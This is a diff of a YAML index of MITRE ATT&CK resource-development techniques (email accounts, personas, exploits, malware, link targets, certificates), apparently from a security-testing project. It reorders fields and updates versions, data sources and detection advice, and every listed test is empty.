-        description: Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware
-          Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Email Accounts
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:09:59.862Z'
+      created: '2020-10-01T01:09:53.217Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a
       description: |-
         Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)
 
         To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)
-      id: attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:09:59.862Z'
-      created: '2020-10-01T01:09:53.217Z'
       x_mitre_detection: 'Much of this activity will take place outside the visibility
         of the target organization, making detection of this behavior difficult. Detection
         efforts may be focused on related stages of the adversary lifecycle, such
         as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1585/002
+        external_id: T1585.002
+        source_name: mitre-attack
+      - source_name: Mandiant APT1
+        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
+          Units. Retrieved July 18, 2016.
+        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
+      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/
+        description: Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware
+          Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.
+        source_name: Trend Micro R980 2016
     atomic_tests: []
   T1586.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1586.002
-        url: https://attack.mitre.org/techniques/T1586/002
-      - source_name: AnonHBGary
-        description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside
-          story of the HBGary hack. Retrieved March 9, 2017.'
-        url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-04-15T02:57:25.544Z'
       name: Email Accounts
+      x_mitre_version: '1.0'
+      created: '2020-10-01T01:20:53.104Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b
       description: |-
         Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).
 
         A variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.
 
         Adversaries can use a compromised email account to hijack existing email threads with targets of interest.
-      id: attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T02:57:25.544Z'
-      created: '2020-10-01T01:20:53.104Z'
       x_mitre_detection: 'Much of this activity will take place outside the visibility
         of the target organization, making detection of this behavior difficult. Detection
         efforts may be focused on related stages of the adversary lifecycle, such
         as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1586/002
+        external_id: T1586.002
+        source_name: mitre-attack
+      - url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
+        description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside
+          story of the HBGary hack. Retrieved March 9, 2017.'
+        source_name: AnonHBGary
     atomic_tests: []
   T1585:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1585
-        url: https://attack.mitre.org/techniques/T1585
-      - source_name: NEWSCASTER2014
-        description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials
-          in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.
-        url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation
-      - source_name: BlackHatRobinSage
-        description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved
-          March 6, 2017.
-        url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
-      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
-        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
-          Units. Retrieved July 18, 2016.
-        source_name: Mandiant APT1
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Establish Accounts
+      x_mitre_data_sources:
+      - 'Persona: Social Media'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.2'
+      modified: '2021-10-16T17:35:59.386Z'
+      created: '2020-10-01T01:05:42.216Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8
       description: |-
         Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)
 
         For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)
 
         Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)
-      id: attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:10:35.877Z'
-      created: '2020-10-01T01:05:42.216Z'
       x_mitre_detection: |-
         Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.
 
         Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1585
+        external_id: T1585
+        source_name: mitre-attack
+      - url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation
+        description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials
+          in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.
+        source_name: NEWSCASTER2014
+      - url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
+        description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved
+          March 6, 2017.
+        source_name: BlackHatRobinSage
+      - source_name: Mandiant APT1
+        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
+          Units. Retrieved July 18, 2016.
+        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
     atomic_tests: []
   T1587.004:
     technique:
-      created: '2020-10-01T01:48:15.511Z'
-      modified: '2021-04-15T03:07:53.803Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: resource-development
       type: attack-pattern
+      modified: '2021-04-15T03:07:53.803Z'
+      name: Exploits
+      x_mitre_version: '1.0'
+      created: '2020-10-01T01:48:15.511Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
       id: attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2
       description: |-
         Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)
@@ -61133,27 +63032,11 @@ resource-development:
         As with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.
 
         Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
-      name: Exploits
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1587.004
-        url: https://attack.mitre.org/techniques/T1587/004
-      - source_name: NYTStuxnet
-        description: William J. Broad, John Markoff, and David E. Sanger. (2011, January
-          15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved
-          March 1, 2017.
-        url: https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html
-      - source_name: Irongeek Sims BSides 2017
-        url: https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims
-        description: Stephen Sims. (2017, April 30). Microsoft Patch Analysis for
-          Exploitation. Retrieved October 16, 2020.
-      x_mitre_platforms:
-      - PRE
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: resource-development
       x_mitre_detection: Much of this activity will take place outside the visibility
         of the target organization, making detection of this behavior difficult. Detection
         efforts may be focused on behaviors relating to the use of exploits (i.e.
@@ -61164,39 +63047,34 @@ resource-development:
         [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212),
         [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210),
         and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1587/004
+        external_id: T1587.004
+        source_name: mitre-attack
+      - url: https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html
+        description: William J. Broad, John Markoff, and David E. Sanger. (2011, January
+          15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved
+          March 1, 2017.
+        source_name: NYTStuxnet
+      - url: https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims
+        description: Stephen Sims. (2017, April 30). Microsoft Patch Analysis for
+          Exploitation. Retrieved October 16, 2020.
+        source_name: Irongeek Sims BSides 2017
     atomic_tests: []
   T1588.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1588.005
-        url: https://attack.mitre.org/techniques/T1588/005
-      - source_name: Exploit Database
-        url: https://www.exploit-db.com/
-        description: Offensive Security. (n.d.). Exploit Database. Retrieved October
-          15, 2020.
-      - source_name: TempertonDarkHotel
-        description: Temperton, J. (2015, August 10). Hacking Team zero-day used in
-          new Darkhotel attacks. Retrieved March 9, 2017.
-        url: https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage
-      - source_name: NationsBuying
-        description: Nicole Perlroth and David E. Sanger. (2013, July 12). Nations
-          Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.
-        url: https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html
-      - url: https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
-        description: 'Bill Marczak and John Scott-Railton. (2016, August 24). The
-          Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE
-          Human Rights Defender. Retrieved December 12, 2016.'
-        source_name: PegasusCitizenLab
-      - source_name: Wired SandCat Oct 2019
-        url: https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec
-        description: Zetter, K. (2019, October 3). Researchers Say They Uncovered
-          Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved
-          October 15, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Exploits
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:14:01.255Z'
+      created: '2020-10-01T02:17:46.086Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636
       description: |-
         Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)
 
@@ -61205,39 +63083,55 @@ resource-development:
         An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.
 
         Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
-      id: attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:14:01.255Z'
-      created: '2020-10-01T02:17:46.086Z'
       x_mitre_detection: |2-
 
         Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1588/005
+        external_id: T1588.005
+        source_name: mitre-attack
+      - url: https://www.exploit-db.com/
+        description: Offensive Security. (n.d.). Exploit Database. Retrieved October
+          15, 2020.
+        source_name: Exploit Database
+      - url: https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage
+        description: Temperton, J. (2015, August 10). Hacking Team zero-day used in
+          new Darkhotel attacks. Retrieved March 9, 2017.
+        source_name: TempertonDarkHotel
+      - url: https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html
+        description: Nicole Perlroth and David E. Sanger. (2013, July 12). Nations
+          Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.
+        source_name: NationsBuying
+      - source_name: PegasusCitizenLab
+        description: 'Bill Marczak and John Scott-Railton. (2016, August 24). The
+          Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE
+          Human Rights Defender. Retrieved December 12, 2016.'
+        url: https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
+      - url: https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec
+        description: Zetter, K. (2019, October 3). Researchers Say They Uncovered
+          Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved
+          October 15, 2020.
+        source_name: Wired SandCat Oct 2019
     atomic_tests: []
   T1608.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1608.003
-        url: https://attack.mitre.org/techniques/T1608/003
-      - source_name: DigiCert Install SSL Cert
-        url: https://www.digicert.com/kb/ssl-certificate-installation.htm
-        description: DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved
-          April 19, 2021.
-      - source_name: Splunk Kovar Certificates 2017
-        url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
-        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
-          Certificates. Retrieved October 16, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Install Digital Certificate
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-16T17:47:46.409Z'
+      created: '2021-03-17T20:32:13.793Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069
       description: "Adversaries may install SSL/TLS certificates that can be used
         during targeting. SSL/TLS certificates are files that can be installed on
         servers to enable secure communications between systems. Digital certificates
@@ -61258,41 +63152,42 @@ resource-development:
         Digital certificates can then be installed on adversary controlled infrastructure
         that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583))
         or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584))."
-      id: attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-26T18:43:18.448Z'
-      created: '2021-03-17T20:32:13.793Z'
       x_mitre_detection: |-
         Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)
 
         Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1608/003
+        external_id: T1608.003
+        source_name: mitre-attack
+      - url: https://www.digicert.com/kb/ssl-certificate-installation.htm
+        description: DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved
+          April 19, 2021.
+        source_name: DigiCert Install SSL Cert
+      - url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
+        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
+          Certificates. Retrieved October 16, 2020.
+        source_name: Splunk Kovar Certificates 2017
     atomic_tests: []
   T1608.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1608.005
-        url: https://attack.mitre.org/techniques/T1608/005
-      - source_name: Malwarebytes Silent Librarian October 2020
-        url: https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
-        description: Malwarebytes Threat Intelligence Team. (2020, October 14). Silent
-          Librarian APT right on schedule for 20/21 academic year. Retrieved February
-          3, 2021.
-      - source_name: Proofpoint TA407 September 2019
-        url: https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
-        description: 'Proofpoint Threat Insight Team. (2019, September 5). Threat
-          Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Link Target
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:28:41.565Z'
+      created: '2021-03-17T20:35:08.429Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701
       description: "Adversaries may put in place resources that are referenced by
         a link that can be used during targeting. An adversary may rely upon a user
         clicking a malicious link in order to divulge information (including credentials)
@@ -61316,32 +63211,43 @@ resource-development:
         different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001))
         to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).
         Link shortening services can also be employed."
-      id: attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-27T17:53:29.106Z'
-      created: '2021-03-17T20:35:08.429Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on other phases of the adversary lifecycle, such as
-        during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003),
-        [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious
-        Link](https://attack.mitre.org/techniques/T1204/001).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1608/005
+        external_id: T1608.005
+        source_name: mitre-attack
+      - url: https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
+        description: Malwarebytes Threat Intelligence Team. (2020, October 14). Silent
+          Librarian APT right on schedule for 20/21 academic year. Retrieved February
+          3, 2021.
+        source_name: Malwarebytes Silent Librarian October 2020
+      - url: https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
+        description: 'Proofpoint Threat Insight Team. (2019, September 5). Threat
+          Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.'
+        source_name: Proofpoint TA407 September 2019
     atomic_tests: []
   T1587.001:
     technique:
-      created: '2020-10-01T01:33:01.433Z'
-      modified: '2021-04-15T03:08:33.165Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: resource-development
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Malware
+      x_mitre_data_sources:
+      - 'Malware Repository: Malware Metadata'
+      - 'Malware Repository: Malware Content'
+      x_mitre_version: '1.2'
+      modified: '2021-10-17T16:05:41.186Z'
+      created: '2020-10-01T01:33:01.433Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
       id: attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0
       description: |-
         Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)
@@ -61349,201 +63255,257 @@ resource-development:
         As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.
 
         Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)
-      name: Malware
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: resource-development
+      x_mitre_detection: |-
+        Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1587/001
         external_id: T1587.001
-        url: https://attack.mitre.org/techniques/T1587/001
-      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
+        source_name: mitre-attack
+      - source_name: Mandiant APT1
         description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
           Units. Retrieved July 18, 2016.
-        source_name: Mandiant APT1
-      - source_name: Kaspersky Sofacy
+        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
+      - url: https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
         description: Kaspersky Lab's Global Research and Analysis Team. (2015, December
           4). Sofacy APT hits high profile targets with updated toolset. Retrieved
           December 10, 2015.
-        url: https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
-      - source_name: ActiveMalwareEnergy
+        source_name: Kaspersky Sofacy
+      - url: https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/
         description: Dan Goodin. (2014, June 30). Active malware operation let attackers
           sabotage US energy industry. Retrieved March 9, 2017.
-        url: https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/
-      - source_name: FBI Flash FIN7 USB
-        url: https://www.losangeles.va.gov/documents/MI-000120-MW.pdf
+        source_name: ActiveMalwareEnergy
+      - url: https://www.losangeles.va.gov/documents/MI-000120-MW.pdf
         description: Federal Bureau of Investigation, Cyber Division. (2020, March
           26). FIN7 Cyber Actors Targeting US Businesses Through USB Keystroke Injection
